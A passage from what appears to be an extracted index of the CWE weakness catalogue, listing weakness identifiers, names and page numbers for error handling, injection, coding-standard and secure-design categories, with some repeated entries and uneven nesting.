  - V CWE-777: Regular Expression without Anchors (p.1523)
- B CWE-581: Object Model Violation: Just One of Equals and Hashcode Defined (p.1236)
- P CWE-703: Improper Check or Handling of Exceptional Conditions (p.1433)
  - C CWE-1384: Improper Handling of Physical or Environmental Conditions (p.2078)
    - B CWE-1247: Improper Protection Against Voltage and Clock Glitches (p.1886)
    - B CWE-1261: Improper Handling of Single Event Upsets (p.1918)
    - B CWE-1332: Improper Handling of Faults that Lead to Instruction Skips (p.2050)
    - B CWE-1351: Improper Handling of Hardware Behavior in Exceptionally Cold Environments (p.2074)
  - B CWE-166: Improper Handling of Missing Special Element (p.406)
  - B CWE-167: Improper Handling of Additional Special Element (p.408)
  - B CWE-168: Improper Handling of Inconsistent Special Elements (p.409)

- C CWE-228: Improper Handling of Syntactically Invalid Structure (p.540)
  - B CWE-229: Improper Handling of Values (p.542)
    - V CWE-230: Improper Handling of Missing Values (p.543)
    - V CWE-231: Improper Handling of Extra Values (p.544)
    - V CWE-232: Improper Handling of Undefined Values (p.545)
  - B CWE-233: Improper Handling of Parameters (p.546)
    - V CWE-234: Failure to Handle Missing Parameter (p.547)
    - V CWE-235: Improper Handling of Extra Parameters (p.550)
    - V CWE-236: Improper Handling of Undefined Parameters (p.551)
  - B CWE-237: Improper Handling of Structural Elements (p.552)
    - V CWE-238: Improper Handling of Incomplete Structural Elements (p.553)
    - V CWE-239: Failure to Handle Incomplete Element (p.554)
  - B CWE-240: Improper Handling of Inconsistent Structural Elements (p.555)
    - E CWE-130: Improper Handling of Length Parameter Inconsistency (p.336)
  - B CWE-241: Improper Handling of Unexpected Data Type (p.555)
- B CWE-248: Uncaught Exception (p.566)
  - B CWE-600: Uncaught Exception in Servlet (p.1264)
- V CWE-333: Improper Handling of Insufficient Entropy in TRNG (p.783)
- B CWE-392: Missing Report of Error Condition (p.901)
- B CWE-393: Return of Wrong Status Code (p.903)
- B CWE-397: Declaration of Throws for Generic Exception (p.910)
- C CWE-754: Improper Check for Unusual or Exceptional Conditions (p.1460)
  - B CWE-252: Unchecked Return Value (p.575)
  - B CWE-253: Incorrect Check of Function Return Value (p.582)
  - B CWE-273: Improper Check for Dropped Privileges (p.626)
  - B CWE-354: Improper Validation of Integrity Check Value (p.830)
  - B CWE-391: Unchecked Error Condition (p.898)
  - B CWE-394: Unexpected Status Code or Return Value (p.904)
  - B CWE-476: NULL Pointer Dereference (p.1070)
    - E CWE-690: Unchecked Return Value to NULL Pointer Dereference (p.1418)
- C CWE-755: Improper Handling of Exceptional Conditions (p.1468)
  - B CWE-209: Generation of Error Message Containing Sensitive Information (p.510)
    - B CWE-210: Self-generated Error Message Containing Sensitive Information (p.516)
    - B CWE-211: Externally-Generated Error Message Containing Sensitive Information (p.518)
      - V CWE-535: Exposure of Information Through Shell Error Message (p.1174)
      - V CWE-536: Servlet Runtime Error Message Containing Sensitive Information (p.1175)
      - V CWE-537: Java Runtime Error Message Containing Sensitive Information (p.1176)
    - V CWE-550: Server-generated Error Message Containing Sensitive Information (p.1191)
  - B CWE-274: Improper Handling of Insufficient Privileges (p.629)
  - B CWE-280: Improper Handling of Insufficient Permissions or Privileges (p.638)
  - B CWE-390: Detection of Error Condition Without Action (p.893)
  - B CWE-395: Use of NullPointerException Catch to Detect NULL Pointer Dereference (p.906)
  - B CWE-396: Declaration of Catch for Generic Exception (p.908)
  - B CWE-460: Improper Cleanup on Thrown Exception (p.1041)
  - B CWE-544: Missing Standardized Error Handling Mechanism (p.1185)
  - C CWE-636: Not Failing Securely ('Failing Open') (p.1318)
    - B CWE-455: Non-exit on Failed Initialization (p.1028)
  - B CWE-756: Missing Custom Error Page (p.1469)
    - V CWE-12: ASP.NET Misconfiguration: Missing Custom Error Page (p.11)
    - V CWE-7: J2EE Misconfiguration: Missing Custom Error Page (p.4)
- P CWE-707: Improper Neutralization (p.1440)
  - C CWE-116: Improper Encoding or Escaping of Output (p.272)
    - B CWE-117: Improper Output Neutralization for Logs (p.279)
    - V CWE-644: Improper Neutralization of HTTP Headers for Scripting Syntax (p.1338)
    - B CWE-838: Inappropriate Encoding for Output Context (p.1641)

- G CWE-138: Improper Neutralization of Special Elements (p.357)
  - B CWE-140: Improper Neutralization of Delimiters (p.360)
    - V CWE-141: Improper Neutralization of Parameter/Argument Delimiters (p.362)
    - V CWE-142: Improper Neutralization of Value Delimiters (p.364)
    - V CWE-143: Improper Neutralization of Record Delimiters (p.365)
    - V CWE-144: Improper Neutralization of Line Delimiters (p.367)
    - V CWE-145: Improper Neutralization of Section Delimiters (p.369)
    - V CWE-146: Improper Neutralization of Expression/Command Delimiters (p.371)
  - V CWE-147: Improper Neutralization of Input Terminators (p.373)
    - V CWE-626: Null Byte Interaction Error (Poison Null Byte) (p.1312)
  - V CWE-148: Improper Neutralization of Input Leaders (p.375)
  - V CWE-149: Improper Neutralization of Quoting Syntax (p.376)
  - V CWE-150: Improper Neutralization of Escape, Meta, or Control Sequences (p.377)
  - V CWE-151: Improper Neutralization of Comment Delimiters (p.380)
  - V CWE-152: Improper Neutralization of Macro Symbols (p.382)
  - V CWE-153: Improper Neutralization of Substitution Characters (p.384)
  - V CWE-154: Improper Neutralization of Variable Name Delimiters (p.385)
  - V CWE-155: Improper Neutralization of Wildcards or Matching Symbols (p.387)
    - V CWE-56: Path Equivalence: 'filedir\*' (Wildcard) (p.104)
  - V CWE-156: Improper Neutralization of Whitespace (p.389)
  - V CWE-157: Failure to Sanitize Paired Delimiters (p.391)
  - V CWE-158: Improper Neutralization of Null Byte or NUL Character (p.392)
  - G CWE-159: Improper Handling of Invalid Use of Special Elements (p.395)
    - B CWE-166: Improper Handling of Missing Special Element (p.406)
    - B CWE-167: Improper Handling of Additional Special Element (p.408)
    - B CWE-168: Improper Handling of Inconsistent Special Elements (p.409)
  - V CWE-160: Improper Neutralization of Leading Special Elements (p.397)
  - V CWE-161: Improper Neutralization of Multiple Leading Special Elements (p.398)
    - V CWE-50: Path Equivalence: '/multiple/leading/slash' (p.97)
    - V CWE-37: Path Traversal: '/absolute/pathname/here' (p.75)
  - V CWE-162: Improper Neutralization of Trailing Special Elements (p.400)
    - V CWE-163: Improper Neutralization of Multiple Trailing Special Elements (p.401)
      - V CWE-43: Path Equivalence: 'filename....' (Multiple Trailing Dot) (p.90)
      - V CWE-52: Path Equivalence: '/multiple/trailing/slash/' (p.99)
      - V CWE-42: Path Equivalence: 'filename.' (Trailing Dot) (p.89)
      - V CWE-43: Path Equivalence: 'filename....' (Multiple Trailing Dot) (p.90)
      - V CWE-46: Path Equivalence: 'filename ' (Trailing Space) (p.93)
      - V CWE-49: Path Equivalence: 'filename/' (Trailing Slash) (p.96)
      - V CWE-54: Path Equivalence: 'filedir\' (Trailing Backslash) (p.101)
  - V CWE-164: Improper Neutralization of Internal Special Elements (p.403)
    - V CWE-165: Improper Neutralization of Multiple Internal Special Elements (p.404)
      - V CWE-45: Path Equivalence: 'file...name' (Multiple Internal Dot) (p.92)
      - V CWE-53: Path Equivalence: '\\multiple\\internal\\backslash' (p.100)
  - B CWE-464: Addition of Data Structure Sentinel (p.1047)
- G CWE-790: Improper Filtering of Special Elements (p.1563)
  - B CWE-791: Incomplete Filtering of Special Elements (p.1564)
    - V CWE-792: Incomplete Filtering of One or More Instances of Special Elements (p.1565)
      - V CWE-793: Only Filtering One Instance of a Special Element (p.1567)
      - V CWE-794: Incomplete Filtering of Multiple Instances of Special Elements (p.1568)
    - B CWE-795: Only Filtering Special Elements at a Specified Location (p.1569)
      - V CWE-796: Only Filtering Special Elements Relative to a Marker (p.1571)
      - V CWE-797: Only Filtering Special Elements at an Absolute Position (p.1572)
- B CWE-170: Improper Null Termination (p.411)
- G CWE-172: Encoding Error (p.415)
  - V CWE-173: Improper Handling of Alternate Encoding (p.417)
  - V CWE-174: Double Decoding of the Same Data (p.419)

- V CWE-175: Improper Handling of Mixed Encoding (p.421)
- V CWE-176: Improper Handling of Unicode Encoding (p.422)
- V CWE-177: Improper Handling of URL Encoding (Hex Encoding) (p.424)
- G CWE-20: Improper Input Validation (p.19)
  - B CWE-1173: Improper Use of Validation Framework (p.1824)
    - V CWE-102: Struts: Duplicate Validation Forms (p.239)
    - V CWE-105: Struts: Form Field Without Validator (p.245)
    - V CWE-106: Struts: Plug-in Framework not in Use (p.248)
    - V CWE-108: Struts: Unvalidated Action Form (p.253)
    - V CWE-109: Struts: Validator Turned Off (p.254)
    - V CWE-1174: ASP.NET Misconfiguration: Improper Model Validation (p.1825)
    - V CWE-554: ASP.NET Misconfiguration: Not Using Input Validation Framework (p.1196)
  - B CWE-1284: Improper Validation of Specified Quantity in Input (p.1965)
    - B CWE-606: Unchecked Input for Loop Condition (p.1278)
    - V CWE-789: Memory Allocation with Excessive Size Value (p.1558)
  - B CWE-1285: Improper Validation of Specified Index, Position, or Offset in Input (p.1967)
    - V CWE-129: Improper Validation of Array Index (p.327)
    - V CWE-781: Improper Address Validation in IOCTL with METHOD\_NEITHER I/O Control Code (p.1532)
  - B CWE-1286: Improper Validation of Syntactic Correctness of Input (p.1970)
    - B CWE-112: Missing XML Validation (p.261)
  - B CWE-1287: Improper Validation of Specified Type of Input (p.1972)
  - B CWE-1288: Improper Validation of Consistency within Input (p.1973)
  - B CWE-1289: Improper Validation of Unsafe Equivalence in Input (p.1974)
  - B CWE-179: Incorrect Behavior Order: Early Validation (p.430)
    - V CWE-180: Incorrect Behavior Order: Validate Before Canonicalize (p.433)
    - V CWE-181: Incorrect Behavior Order: Validate Before Filter (p.435)
  - V CWE-622: Improper Validation of Function Hook Arguments (p.1305)
- G CWE-228: Improper Handling of Syntactically Invalid Structure (p.540)
  - B CWE-229: Improper Handling of Values (p.542)
    - V CWE-230: Improper Handling of Missing Values (p.543)
    - V CWE-231: Improper Handling of Extra Values (p.544)
    - V CWE-232: Improper Handling of Undefined Values (p.545)
  - B CWE-233: Improper Handling of Parameters (p.546)
    - V CWE-234: Failure to Handle Missing Parameter (p.547)
    - V CWE-235: Improper Handling of Extra Parameters (p.550)
    - V CWE-236: Improper Handling of Undefined Parameters (p.551)
  - B CWE-237: Improper Handling of Structural Elements (p.552)
    - V CWE-238: Improper Handling of Incomplete Structural Elements (p.553)
    - V CWE-239: Failure to Handle Incomplete Element (p.554)
    - B CWE-240: Improper Handling of Inconsistent Structural Elements (p.555)
      - B CWE-130: Improper Handling of Length Parameter Inconsistency (p.336)
  - B CWE-241: Improper Handling of Unexpected Data Type (p.555)
- B CWE-240: Improper Handling of Inconsistent Structural Elements (p.555)
  - B CWE-130: Improper Handling of Length Parameter Inconsistency (p.336)
- B CWE-463: Deletion of Data Structure Sentinel (p.1045)
- G CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') (p.133)
  - B CWE-1236: Improper Neutralization of Formula Elements in a CSV File (p.1865)
  - G CWE-75: Failure to Sanitize Special Elements into a Different Plane (Special Element Injection) (p.138)
    - B CWE-76: Improper Neutralization of Equivalent Special Elements (p.139)
  - G CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') (p.141)
    - B CWE-624: Executable Regular Expression Error (p.1308)



- B CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (p.147)
- B CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') (p.188)
- B CWE-917: Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection') (p.1692)
- B CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (p.159)
- B CWE-692: Incomplete Denylist to Cross-Site Scripting (p.1421)
- V CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) (p.172)
- V CWE-81: Improper Neutralization of Script in an Error Message Web Page (p.175)
- V CWE-83: Improper Neutralization of Script in Attributes in a Web Page (p.179)
- V CWE-82: Improper Neutralization of Script in Attributes of IMG Tags in a Web Page (p.177)
- V CWE-84: Improper Neutralization of Encoded URI Schemes in a Web Page (p.181)
- V CWE-85: Doubled Character XSS Manipulations (p.183)
- V CWE-86: Improper Neutralization of Invalid Characters in Identifiers in Web Pages (p.185)
- V CWE-87: Improper Neutralization of Alternate XSS Syntax (p.186)
- B CWE-91: XML Injection (aka Blind XPath Injection) (p.209)
- B CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection') (p.1336)
- B CWE-652: Improper Neutralization of Data within XQuery Expressions ('XQuery Injection') (p.1351)
- B CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection') (p.211)
- V CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting') (p.263)
- B CWE-94: Improper Control of Generation of Code ('Code Injection') (p.213)
- B CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine (p.2060)
- V CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') (p.220)
- B CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection') (p.225)
- V CWE-97: Improper Neutralization of Server-Side Includes (SSI) Within a Web Page (p.228)
- C CWE-943: Improper Neutralization of Special Elements in Data Query Logic (p.1720)
- B CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection') (p.1336)
- B CWE-652: Improper Neutralization of Data within XQuery Expressions ('XQuery Injection') (p.1351)
- B CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (p.195)
- V CWE-564: SQL Injection: Hibernate (p.1207)
- B CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection') (p.207)
- C CWE-99: Improper Control of Resource Identifiers ('Resource Injection') (p.235)
- B CWE-641: Improper Restriction of Names for Files and Other Resources (p.1329)
- B CWE-694: Use of Multiple Resources with Duplicate Identifier (p.1424)
- V CWE-102: Struts: Duplicate Validation Forms (p.239)
- B CWE-462: Duplicate Key in Associative List (Alist) (p.1043)
- B CWE-914: Improper Control of Dynamically-Identified Variables (p.1682)
- B CWE-621: Variable Extraction Error (p.1303)
- B CWE-627: Dynamic Variable Evaluation (p.1314)
- P CWE-710: Improper Adherence to Coding Standards (p.1444)
- B CWE-1041: Use of Redundant Code (p.1740)
- B CWE-1044: Architecture with Number of Horizontal Layers Outside of Expected Range (p.1744)
- B CWE-1048: Invokable Control Element with Large Number of Outward Calls (p.1748)
- C CWE-1059: Insufficient Technical Documentation (p.1759)

- B CWE-1053: Missing Documentation for Design (p.1753)
- B CWE-1110: Incomplete Design Documentation (p.1808)
- B CWE-1111: Incomplete I/O Documentation (p.1809)
- B CWE-1112: Incomplete Documentation of Program Execution (p.1810)
- B CWE-1118: Insufficient Documentation of Error Handling Techniques (p.1815)
- C CWE-1061: Insufficient Encapsulation (p.1762)
  - B CWE-1054: Invocation of a Control Element at an Unnecessarily Deep Horizontal Layer (p.1754)
  - B CWE-1057: Data Access Operations Outside of Expected Data Manager Component (p.1757)
  - B CWE-1062: Parent Class with References to Child Class (p.1763)
  - B CWE-1083: Data Access from Outside Expected Data Manager Component (p.1783)
  - B CWE-1090: Method Containing Access of a Member Element from Another Class (p.1791)
  - B CWE-1100: Insufficient Isolation of System-Dependent Functions (p.1800)
  - B CWE-1105: Insufficient Encapsulation of Machine-Dependent Functionality (p.1804)
    - B CWE-188: Reliance on Data/Memory Layout (p.451)
    - B CWE-198: Use of Incorrect Byte Ordering (p.483)
  - V CWE-766: Critical Data Element Declared Public (p.1495)
- B CWE-1065: Runtime Resource Management Control Element in a Component Built to Run on Application Servers (p.1766)
- B CWE-1066: Missing Serialization Control Element (p.1767)
- B CWE-1068: Inconsistency Between Implementation and Documented Design (p.1769)
- B CWE-1070: Serializable Data Element Containing non-Serializable Item Elements (p.1772)
- C CWE-1076: Insufficient Adherence to Expected Conventions (p.1778)
  - V CWE-1045: Parent Class with a Virtual Destructor and a Child Class without a Virtual Destructor (p.1745)
  - C CWE-1078: Inappropriate Source Code Style or Formatting (p.1779)
    - B CWE-1085: Invokable Control Element with Excessive Volume of Commented-out Code (p.1785)
    - B CWE-1099: Inconsistent Naming Conventions for Identifiers (p.1799)
    - B CWE-1106: Insufficient Use of Symbolic Constants (p.1805)
    - B CWE-1107: Insufficient Isolation of Symbolic Constant Definitions (p.1806)
    - B CWE-1109: Use of Same Variable for Multiple Purposes (p.1808)
    - B CWE-1113: Inappropriate Comment Style (p.1811)
    - B CWE-1114: Inappropriate Whitespace Style (p.1811)
    - B CWE-1115: Source Code Element without Standard Prologue (p.1812)
    - B CWE-1116: Inaccurate Comments (p.1813)
    - B CWE-1117: Callable with Insufficient Behavioral Summary (p.1814)
    - V CWE-546: Suspicious Comment (p.1186)
    - V CWE-547: Use of Hard-coded, Security-relevant Constants (p.1187)
  - B CWE-1079: Parent Class without Virtual Destructor Method (p.1780)
  - B CWE-1082: Class Instance Self Destruction Control Element (p.1782)
  - B CWE-1087: Class with Virtual Method without a Virtual Destructor (p.1787)
  - B CWE-1091: Use of Object without Invoking Destructor Method (p.1792)
  - B CWE-1097: Persistent Storable Data Element without Associated Comparison Control Element (p.1797)
  - V CWE-1098: Data Element containing Pointer Item without Proper Copy Control Element (p.1798)
  - B CWE-1108: Excessive Reliance on Global Variables (p.1807)
  - V CWE-586: Explicit Call to Finalize() (p.1243)
- B CWE-1092: Use of Same Invokable Control Element in Multiple Architectural Layers (p.1793)
- C CWE-1093: Excessively Complex Data Representation (p.1793)
  - B CWE-1043: Data Element Aggregating an Excessively Large Number of Non-Primitive Elements (p.1743)
  - B CWE-1055: Multiple Inheritance from Concrete Classes (p.1755)
  - B CWE-1074: Class with Excessively Deep Inheritance (p.1776)
  - B CWE-1086: Class with Excessive Number of Child Classes (p.1786)
- B CWE-1101: Reliance on Runtime Component in Generated Code (p.1801)

- C CWE-1120: Excessive Code Complexity (p.1817)
  - B CWE-1047: Modules with Circular Dependencies (p.1747)
  - B CWE-1056: Invokable Control Element with Variadic Parameters (p.1756)
  - B CWE-1060: Excessive Number of Inefficient Server-Side Data Accesses (p.1761)
  - B CWE-1064: Invokable Control Element with Signature Containing an Excessive Number of Parameters (p.1765)
  - B CWE-1075: Unconditional Control Flow Transfer outside of Switch Block (p.1777)
  - B CWE-1080: Source Code File with Excessive Number of Lines of Code (p.1781)
  - B CWE-1095: Loop Condition Value Update within the Loop (p.1795)
  - B CWE-1119: Excessive Use of Unconditional Branching (p.1816)
  - B CWE-1121: Excessive McCabe Cyclomatic Complexity (p.1818)
  - B CWE-1122: Excessive Halstead Complexity (p.1819)
  - B CWE-1123: Excessive Use of Self-Modifying Code (p.1820)
  - B CWE-1124: Excessively Deep Nesting (p.1820)
  - B CWE-1125: Excessive Attack Surface (p.1821)
- B CWE-1126: Declaration of Variable with Unnecessarily Wide Scope (p.1822)
- B CWE-1127: Compilation with Insufficient Warnings or Errors (p.1823)
- C CWE-1164: Irrelevant Code (p.1823)
  - V CWE-107: Struts: Unused Validation Form (p.251)
  - B CWE-1071: Empty Code Block (p.1773)
    - B CWE-1069: Empty Exception Block (p.1770)
    - B CWE-585: Empty Synchronized Block (p.1241)
  - V CWE-110: Struts: Validator Without Form Field (p.256)
  - B CWE-561: Dead Code (p.1201)
  - V CWE-563: Assignment to Variable without Use (p.1206)
- C CWE-1177: Use of Prohibited Code (p.1827)
  - B CWE-242: Use of Inherently Dangerous Function (p.557)
  - B CWE-676: Use of Potentially Dangerous Function (p.1394)
    - V CWE-785: Use of Path Manipulation Function without Maximum-sized Buffer (p.1542)
- B CWE-1209: Failure to Disable Reserved Bits (p.1841)
- C CWE-1357: Reliance on Insufficiently Trustworthy Component (p.2076)
  - B CWE-1104: Use of Unmaintained Third Party Components (p.1803)
  - B CWE-1329: Reliance on Component That is Not Updateable (p.2043)
    - B CWE-1277: Firmware Not Updateable (p.1952)
    - B CWE-1310: Missing Ability to Patch ROM Code (p.2008)
- B CWE-476: NULL Pointer Dereference (p.1070)
  - ∞ CWE-690: Unchecked Return Value to NULL Pointer Dereference (p.1418)
- B CWE-477: Use of Obsolete Function (p.1076)
- B CWE-484: Omitted Break Statement in Switch (p.1097)
- B CWE-489: Active Debug Code (p.1106)
  - V CWE-11: ASP.NET Misconfiguration: Creating Debug Binary (p.9)
- B CWE-570: Expression is Always False (p.1216)
- B CWE-571: Expression is Always True (p.1219)
- C CWE-573: Improper Following of Specification by Caller (p.1222)
  - V CWE-103: Struts: Incomplete validate() Method Definition (p.240)
  - V CWE-104: Struts: Form Bean Does Not Extend Validation Class (p.243)
  - V CWE-243: Creation of chroot Jail Without Changing Working Directory (p.559)
  - B CWE-253: Incorrect Check of Function Return Value (p.582)
  - B CWE-296: Improper Following of a Certificate's Chain of Trust (p.682)
  - B CWE-304: Missing Critical Step in Authentication (p.700)
  - B CWE-325: Missing Cryptographic Step (p.754)
  - V CWE-329: Generation of Predictable IV with CBC Mode (p.769)
  - B CWE-358: Improperly Implemented Security Check for Standard (p.834)
  - B CWE-475: Undefined Behavior for Input to API (p.1069)
  - V CWE-568: finalize() Method Without super.finalize() (p.1215)



- V CWE-577: EJB Bad Practices: Use of Sockets (p.1229)
- V CWE-578: EJB Bad Practices: Use of Class Loader (p.1231)
- V CWE-579: J2EE Bad Practices: Non-serializable Object Stored in Session (p.1233)
- V CWE-580: clone() Method Without super.clone() (p.1234)
- B CWE-581: Object Model Violation: Just One of Equals and Hashcode Defined (p.1236)
- B CWE-628: Function Call with Incorrectly Specified Arguments (p.1316)
  - V CWE-683: Function Call With Incorrect Order of Arguments (p.1408)
  - V CWE-685: Function Call With Incorrect Number of Arguments (p.1411)
  - V CWE-686: Function Call With Incorrect Argument Type (p.1412)
  - V CWE-687: Function Call With Incorrectly Specified Argument Value (p.1413)
  - V CWE-560: Use of umask() with chmod-style Argument (p.1200)
  - V CWE-688: Function Call With Incorrect Variable or Reference as Argument (p.1415)
- G CWE-675: Multiple Operations on Resource in Single-Operation Context (p.1393)
- B CWE-1341: Multiple Releases of Same Resource or Handle (p.2068)
  - V CWE-415: Double Free (p.954)
  - V CWE-174: Double Decoding of the Same Data (p.419)
  - B CWE-605: Multiple Binds to the Same Port (p.1277)
  - B CWE-764: Multiple Locks of a Critical Resource (p.1493)
  - B CWE-765: Multiple Unlocks of a Critical Resource (p.1494)
- B CWE-694: Use of Multiple Resources with Duplicate Identifier (p.1424)
  - V CWE-102: Struts: Duplicate Validation Forms (p.239)
  - B CWE-462: Duplicate Key in Associative List (Alist) (p.1043)
- B CWE-695: Use of Low-Level Functionality (p.1425)
  - V CWE-111: Direct Use of Unsafe JNI (p.258)
  - V CWE-245: J2EE Bad Practices: Direct Management of Connections (p.563)
  - V CWE-246: J2EE Bad Practices: Direct Use of Sockets (p.564)
  - V CWE-383: J2EE Bad Practices: Direct Use of Threads (p.885)
  - V CWE-574: EJB Bad Practices: Use of Synchronization Primitives (p.1224)
  - V CWE-575: EJB Bad Practices: Use of AWT Swing (p.1225)
  - V CWE-576: EJB Bad Practices: Use of Java I/O (p.1228)
- V CWE-594: J2EE Framework: Saving Unserializable Objects to Disk (p.1254)
- G CWE-657: Violation of Secure Design Principles (p.1361)
  - B CWE-1192: System-on-Chip (SoC) Using Components without Unique, Immutable Identifiers (p.1835)
  - G CWE-1395: Dependency on Vulnerable Third-Party Component (p.2096)
  - B CWE-250: Execution with Unnecessary Privileges (p.568)
  - G CWE-636: Not Failing Securely ('Failing Open') (p.1318)
  - B CWE-455: Non-exit on Failed Initialization (p.1028)
  - G CWE-637: Unnecessary Complexity in Protection Mechanism (Not Using 'Economy of Mechanism') (p.1320)
  - G CWE-638: Not Using Complete Mediation (p.1322)
    - G CWE-424: Improper Protection of Alternate Path (p.968)
    - B CWE-425: Direct Request ('Forced Browsing') (p.969)
  - B CWE-653: Improper Isolation or Compartmentalization (p.1353)
    - B CWE-1189: Improper Isolation of Shared Resources on System-on-a-Chip (SoC) (p.1829)
    - B CWE-1303: Non-Transparent Sharing of Microarchitectural Resources (p.2003)
    - B CWE-1331: Improper Isolation of Shared Resources in Network On Chip (NoC) (p.2048)
  - B CWE-654: Reliance on a Single Factor in a Security Decision (p.1355)
    - B CWE-308: Use of Single-factor Authentication (p.713)
    - B CWE-309: Use of Password System for Primary Authentication (p.716)
  - B CWE-655: Insufficient Psychological Acceptability (p.1357)
  - B CWE-656: Reliance on Security Through Obscurity (p.1359)
  - G CWE-671: Lack of Administrator Control over Security (p.1385)
    - B CWE-447: Unimplemented or Unsupported Feature in UI (p.1015)
    - B CWE-798: Use of Hard-coded Credentials (p.1573)
    - V CWE-259: Use of Hard-coded Password (p.591)

- V CWE-321: Use of Hard-coded Cryptographic Key (p.745)
- G CWE-684: Incorrect Provision of Specified Functionality (p.1410)
  - B CWE-1245: Improper Finite State Machines (FSMs) in Hardware Logic (p.1882)
  - B CWE-392: Missing Report of Error Condition (p.901)
  - B CWE-393: Return of Wrong Status Code (p.903)
  - B CWE-440: Expected Behavior Violation (p.1004)
  - G CWE-446: UI Discrepancy for Security Feature (p.1014)
    - B CWE-447: Unimplemented or Unsupported Feature in UI (p.1015)
    - B CWE-448: Obsolete Feature in UI (p.1017)
    - B CWE-449: The UI Performs the Wrong Action (p.1017)
  - G CWE-451: User Interface (UI) Misrepresentation of Critical Information (p.1020)
    - B CWE-1007: Insufficient Visual Distinction of Homoglyphs Presented to User (p.1724)
    - B CWE-1021: Improper Restriction of Rendered UI Layers or Frames (p.1727)
  - G CWE-912: Hidden Functionality (p.1680)
    - G CWE-506: Embedded Malicious Code (p.1142)
      - B CWE-507: Trojan Horse (p.1144)
        - B CWE-508: Non-Replicating Malicious Code (p.1145)
        - B CWE-509: Replicating Malicious Code (Virus or Worm) (p.1146)
      - B CWE-510: Trapdoor (p.1147)
      - B CWE-511: Logic/Time Bomb (p.1149)
      - B CWE-512: Spyware (p.1150)
- G CWE-758: Reliance on Undefined, Unspecified, or Implementation-Defined Behavior (p.1472)
  - G CWE-1038: Insecure Automated Optimizations (p.1737)
    - B CWE-1037: Processor Optimization Removal or Modification of Security-critical Code (p.1736)
    - B CWE-733: Compiler Optimization Removal or Modification of Security-critical Code (p.1454)
      - V CWE-14: Compiler Removal of Code to Clear Buffers (p.14)
  - B CWE-1102: Reliance on Machine-Dependent Data Representation (p.1802)
  - B CWE-1103: Use of Platform-Dependent Third Party Components (p.1803)
  - B CWE-1105: Insufficient Encapsulation of Machine-Dependent Functionality (p.1804)
    - B CWE-188: Reliance on Data/Memory Layout (p.451)
      - B CWE-198: Use of Incorrect Byte Ordering (p.483)
  - B CWE-474: Use of Function with Inconsistent Implementations (p.1067)
    - V CWE-589: Call to Non-ubiquitous API (p.1247)
  - B CWE-562: Return of Stack Variable Address (p.1204)
  - B CWE-587: Assignment of a Fixed Address to a Pointer (p.1244)
  - V CWE-588: Attempt to Access Child of a Non-structure Pointer (p.1246)

## Graph View: CWE-1003: Weaknesses for Simplified Mapping of Published Vulnerabilities

- ⓐ CWE-20: Improper Input Validation (*p. 19*)
  - ⓑ CWE-1284: Improper Validation of Specified Quantity in Input (*p. 1965*)
  - ⓓ CWE-129: Improper Validation of Array Index (*p. 327*)
- ⓐ CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') (*p. 133*)
  - ⓑ CWE-1236: Improper Neutralization of Formula Elements in a CSV File (*p. 1865*)
  - ⓐ CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') (*p. 141*)
  - ⓑ CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (*p. 147*)
  - ⓑ CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (*p. 159*)
  - ⓑ CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') (*p. 188*)
  - ⓑ CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (*p. 195*)
  - ⓑ CWE-91: XML Injection (aka Blind XPath Injection) (*p. 209*)
  - ⓑ CWE-917: Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection') (*p. 1692*)
  - ⓑ CWE-94: Improper Control of Generation of Code ('Code Injection') (*p. 213*)
- ⓐ CWE-116: Improper Encoding or Escaping of Output (*p. 272*)
  - ⓑ CWE-838: Inappropriate Encoding for Output Context (*p. 1641*)
- ⓐ CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (*p. 283*)
  - ⓑ CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') (*p. 294*)
  - ⓑ CWE-125: Out-of-bounds Read (*p. 316*)
  - ⓑ CWE-787: Out-of-bounds Write (*p. 1547*)
  - ⓑ CWE-824: Access of Uninitialized Pointer (*p. 1609*)
- ⓐ CWE-200: Exposure of Sensitive Information to an Unauthorized Actor (*p. 484*)
  - ⓑ CWE-203: Observable Discrepancy (*p. 497*)
  - ⓑ CWE-209: Generation of Error Message Containing Sensitive Information (*p. 510*)
  - ⓑ CWE-532: Insertion of Sensitive Information into Log File (*p. 1171*)
- ⓐ CWE-269: Improper Privilege Management (*p. 613*)
- ⓐ CWE-287: Improper Authentication (*p. 657*)
  - ⓑ CWE-290: Authentication Bypass by Spoofing (*p. 668*)
  - ⓑ CWE-294: Authentication Bypass by Capture-replay (*p. 675*)
  - ⓑ CWE-295: Improper Certificate Validation (*p. 677*)
  - ⓑ CWE-306: Missing Authentication for Critical Function (*p. 703*)
  - ⓑ CWE-307: Improper Restriction of Excessive Authentication Attempts (*p. 709*)
  - ⓑ CWE-521: Weak Password Requirements (*p. 1154*)
  - ⓐ CWE-522: Insufficiently Protected Credentials (*p. 1157*)
  - ⓑ CWE-640: Weak Password Recovery Mechanism for Forgotten Password (*p. 1326*)
  - ⓑ CWE-798: Use of Hard-coded Credentials (*p. 1573*)
- ⓐ CWE-311: Missing Encryption of Sensitive Data (*p. 718*)
  - ⓑ CWE-312: Cleartext Storage of Sensitive Information (*p. 725*)
